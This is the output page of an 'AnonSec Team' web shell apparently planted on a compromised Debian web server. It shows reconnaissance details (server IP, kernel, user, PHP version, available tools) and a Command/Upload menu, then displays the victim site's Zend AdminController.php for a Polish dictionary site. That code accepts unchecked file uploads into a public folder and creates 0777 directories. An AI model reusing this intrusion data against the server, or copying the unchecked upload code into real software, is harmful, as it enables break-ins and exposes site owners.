AnonSec Team
Server IP : 10.2.73.233  /  Your IP : 216.73.216.59
Web Server : Apache/2.4.59 (Debian)
System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/leksykografia/application/controllers/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/leksykografia/application/controllers/AdminController.php
<?php

class AdminController extends Zend_Controller_Action
{

    public function init()
    {

    	$layout = Zend_Layout::getMvcInstance();
    	$layout->setLayout('admin');
    	 
    	
        $this->view->admin = true;
        $this->view->title = "Panel administracyjny";
        $this->view->whiteContent = true;
        
        $auth = Zend_Auth::getInstance();
        if($auth->hasIdentity())
        {
            $this->view->logged = true;
        }

        else
        {
            $this->getHelper( 'Redirector' )->gotoUrl('/login/' );
        }
    }

    public function indexAction()
    {
    }
    
    public function dictionariesAction()
    {
    	$mapper  = new Application_Model_DictionaryMapper();
    	
    	$this->view->dictionaries = $mapper->fetchAll();
 	
    }
    
    public function addDictionaryAction()
    {
    	$this->view->title = "Panel administracyjny > Dodaj słownik";
    	
    	
    	$mapper  = new Application_Model_DictionaryMapper();
    	$dictionaryTypeMapper = new Application_Model_DictionaryTypeMapper();
    	$dictionaryVocabularyRangeDictMapper = new Application_Model_DictionaryVocabularyRangeDictMapper();
    	$dictionaryVocabularyRangeMapper = new Application_Model_DictionaryVocabularyRangeMapper();
    	$dictionaryBackgroundMapper = new Application_Model_DictionaryBackgroundMapper();
    	
    	$this->view->dictionaryVocabularyRangeDict = $dictionaryVocabularyRangeDictMapper->fetchAll();
    	$this->view->dictionaryTypes = $dictionaryTypeMapper->fetchAll();
    	
    	
    	$request = $this->getRequest();
  
    	$edit = false;
    	$dictionary = false;
    	 
    	$dictionaryId = $request->getParam('dictionaryId');
    	 
    	if($dictionaryId)
    	{
    		$edit = true;
    		$dictionary = new Application_Model_Dictionary();
    		$mapper->find($dictionaryId, $dictionary);
    	}
    	 

    	$this->view->dictionary = $dictionary;
    	$this->view->edit = $edit;
    	
    	
    	if($edit)
    	{
    		$this->view->dictionaryVocabularyRangeMapper = $dictionaryVocabularyRangeMapper->fetchAll($dictionary->id);
    		$this->view->dictionaryBackgrounds1 = $dictionaryBackgroundMapper->fetchAll(1,$dictionary->id);
    		$this->view->dictionaryBackgrounds2 = $dictionaryBackgroundMapper->fetchAll(2,$dictionary->id);
    	}
    	
    	
    	if ($this->getRequest()->isPost()) {
				if($edit)
					$dictionary->setOptions($request->getParams());
				else
    				$dictionary = new Application_Model_Dictionary($request->getParams());
				
    			if($request->getParam('active'))
    				$dictionary->active = "Y";
    			else 
    				$dictionary->active = "N";
    			
    			$dictionary->slug = slugify($dictionary->title);

    			$dictionaryId = $mapper->save($dictionary);
    			
    			if($edit)
    				$dictionaryId = $dictionary->id;

    			$dictionaryVocabularies = $request->getParam('dictionaryVocabularyRange');
    			
    			if($edit)
    				$dictionaryVocabularyRangeMapper->delete($dictionary->id);
    			
    			foreach($dictionaryVocabularies as $dictionaryVocabulary)
    			{
    				$dictionaryVocabularyRange = new Application_Model_DictionaryVocabularyRange();
    				$dictionaryVocabularyRange->dictionaryId = $dictionaryId;
    				$dictionaryVocabularyRange->vocabularyRangeId = $dictionaryVocabulary;
    			
    				$dictionaryVocabularyRangeMapper->save($dictionaryVocabularyRange);
    			}
    			
    			$upload = new Zend_File_Transfer_Adapter_Http();
				
    			$webPath = "/uploads/dictionary/".$dictionaryId.'/';
    			$path = PUBLIC_PATH.$webPath ;
    			
    			if(!file_exists($path))
				{
    				mkdir($path,0777,true);
					chmod($path,0777);
					chown($path, 'leksykografia');
					
				}
    			 
    			$upload->setDestination($path);
    	
    			$upload->receive('cover');
    			$upload->receive('entryPdf');
    			$upload->receive('entryImage');
    		
    		
    			
    			if($upload->isUploaded('cover'))
    			{
    				$coverName = $upload->getFileName('cover',false);
    				$dictionary->cover = $webPath.$coverName;
    				
    				 require_once('phpThumb/phpthumb.class.php');
    				
    				$source = $path.$coverName;
    				
    				$pathinfo = pathinfo($coverName);
    				$ext = $pathinfo['extension'];
    				$filename = $pathinfo['filename'];
    				
    				$phpThumb = new phpThumb();
    				$phpThumb->setSourceFilename($source);
    				$phpThumb->setParameter('h', 156);
    				$phpThumb->setParameter('w', 110);
    				$phpThumb->setParameter('zc', 1);
    				$phpThumb->GenerateThumbnail();
    				$phpThumb->RenderToFile($path.$filename.'-small.'.$ext ); 
    				
					$phpThumb = new phpThumb();
					$phpThumb->setSourceFilename($source);
    				$phpThumb->setParameter('h', 320);
    				$phpThumb->setParameter('w', 225);
    				$phpThumb->setParameter('zc', 1);
    				$phpThumb->GenerateThumbnail();
    				$phpThumb->RenderToFile($path.$filename.'-medium.'.$ext );
    			
    			}
    			
    			if($upload->isUploaded('entryPdf'))
    			{
    				$pdfName = $upload->getFileName('entryPdf',false);
    				$dictionary->entryPdf = $webPath.$pdfName;
    				
    			}
    			
    			if($upload->isUploaded('entryImage'))
    			{
    				$imageName = $upload->getFileName('entryImage',false);
    				$dictionary->entryImage = $webPath.$imageName;
    			
    			}
				
    			$dictionary->id = $dictionaryId;
    			
    			$mapper->save($dictionary);
    			
    			if($edit)
    				$this->_redirect($this->view->url(array(), 'adminDictionaries'));
    			else
    				$this->_redirect($this->view->url(array('dictionaryId' => $dictionary->id ), 'adminEditDictionary'));

    	}
    	 
    }
   
    
    public function deleteDictionaryAction()
    {
    	$request = $this->getRequest();
    	
    	$dictionaryId = $request->getParam('dictionaryId', false);
    	$dictionaryBackgroundMapper  = new Application_Model_DictionaryBackgroundMapper();
    	$dictionaryVocabularyRangeMapper = new Application_Model_DictionaryVocabularyRangeMapper();
    	$mapper  = new Application_Model_DictionaryMapper();
    	
    	$dictionaryVocabularyRangeMapper->delete($dictionaryId);
    	$dictionaryBackgroundMapper->delete(false,$dictionaryId);
    	$mapper->delete($dictionaryId);
    	
    	$this->_redirect($this->view->url(array(), 'adminDictionaries'));
    }
    
    
    public function addDictionaryBackgroundAction()
    {
    	$this->view->title = "Panel administracyjny > Słowniki > Dodaj tło";
		
    	$edit = false;
    	$dictionaryBackground = false;
    	
    	$mapper  = new Application_Model_DictionaryBackgroundMapper();
    	
    	$request = $this->getRequest();
    	$type = $request->getParam('type', false);
    	$dictionaryBackgroundId = $request->getParam('dictionaryBackgroundId', false);
    	
    	$dictionaryId = $request->getParam('dictionaryId', false);
    	
    	if($dictionaryBackgroundId)
    	{
    		$edit = true;
    		$dictionaryBackground = new Application_Model_DictionaryBackground();
    		$mapper->find($dictionaryBackgroundId, $dictionaryBackground);
    	}
    	
    	$this->view->edit = $edit;
    	$this->view->dictionaryBackground = $dictionaryBackground;
    
    	if ($this->getRequest()->isPost()) {
    		
    		if($edit)
    		{
    			$dictionaryBackground->setOptions($request->getParams());
    			
    			if($request->getParam('removeImage'))
    				$dictionaryBackground->setImage("");
    				
    			
    		}
    		else
    		{
    			$dictionaryBackground = new Application_Model_DictionaryBackground($request->getParams());
    			$dictionaryBackground->dictionaryId = $dictionaryId;
    		}
    		
    		$dictionaryBackgroundId = $mapper->save($dictionaryBackground);
    			
    		if($edit)
    			$dictionaryBackgroundId = $dictionaryBackground->id;
    
    		$upload = new Zend_File_Transfer_Adapter_Http();
    
    		$webPath = "/uploads/dictionary/".$dictionaryBackground->dictionaryId."/".$dictionaryBackgroundId.'/';
    		$path = PUBLIC_PATH.$webPath ;
    		 
    		if(!file_exists($path))
    		mkdir($path,0777,true);
			
    		$upload->setDestination($path);
    		 
    		$upload->receive();
    
    		$dictionaryBackground->id = $dictionaryBackgroundId;
    		 
    		if($upload->isUploaded('image'))
    		{
    			$imageName = $upload->getFileName('image',false);
    			$dictionaryBackground->image = ($webPath.$imageName);
    			
     			require_once('phpThumb/phpthumb.class.php');
    			
     			$source = $path.$imageName;
    			
     			$phpThumb = new phpThumb();
     			$phpThumb->setSourceFilename($source);
     			$phpThumb->setParameter('h', 80); 
     			$phpThumb->GenerateThumbnail();
     			$phpThumb->RenderToFile($source);
    
    		}
    		 
    		 
    
    		$mapper->save($dictionaryBackground);
    		 
    
    		$this->_redirect($this->view->url(array('dictionaryId' => $dictionaryBackground->dictionaryId ), 'adminEditDictionary'));
    
    	}
    
    }
    
    public function deleteDictionaryBackgroundAction()
    {
    	$request = $this->getRequest();
    	
    	$dictionaryBackgroundId = $request->getParam('dictionaryBackgroundId', false);
    	$dictionaryId = $request->getParam('dictionaryId', false);
    	$dictionaryBackgroundMapper = new Application_Model_DictionaryBackgroundMapper();

    	 
    	$dictionaryBackgroundMapper->delete($dictionaryBackgroundId);

    	 
    	$this->_redirect($this->view->url(array('dictionaryId' => $dictionaryId), 'adminEditDictionary'));
    }
    

    public function staticAction()
    {
    	$this->view->title = "Panel administracyjny > Edytyj treść";
    	$request = $this->getRequest();
    	 
    	$staticId = $request->getParam('static_id');
    	 
    	 
    	$static = new Application_Model_Static();
    	$mapper  = new Application_Model_StaticMapper();
    	$mapper->find($staticId, $static);
    	
    	if ($this->getRequest()->isPost()) {
    	
    		$static->setOptions($request->getParams());

    		$mapper->save($static);
    		$this->_redirect('/admin');
    	}

    	$this->view->static = $static;
    	
    }

 
}


AnonSec - 2021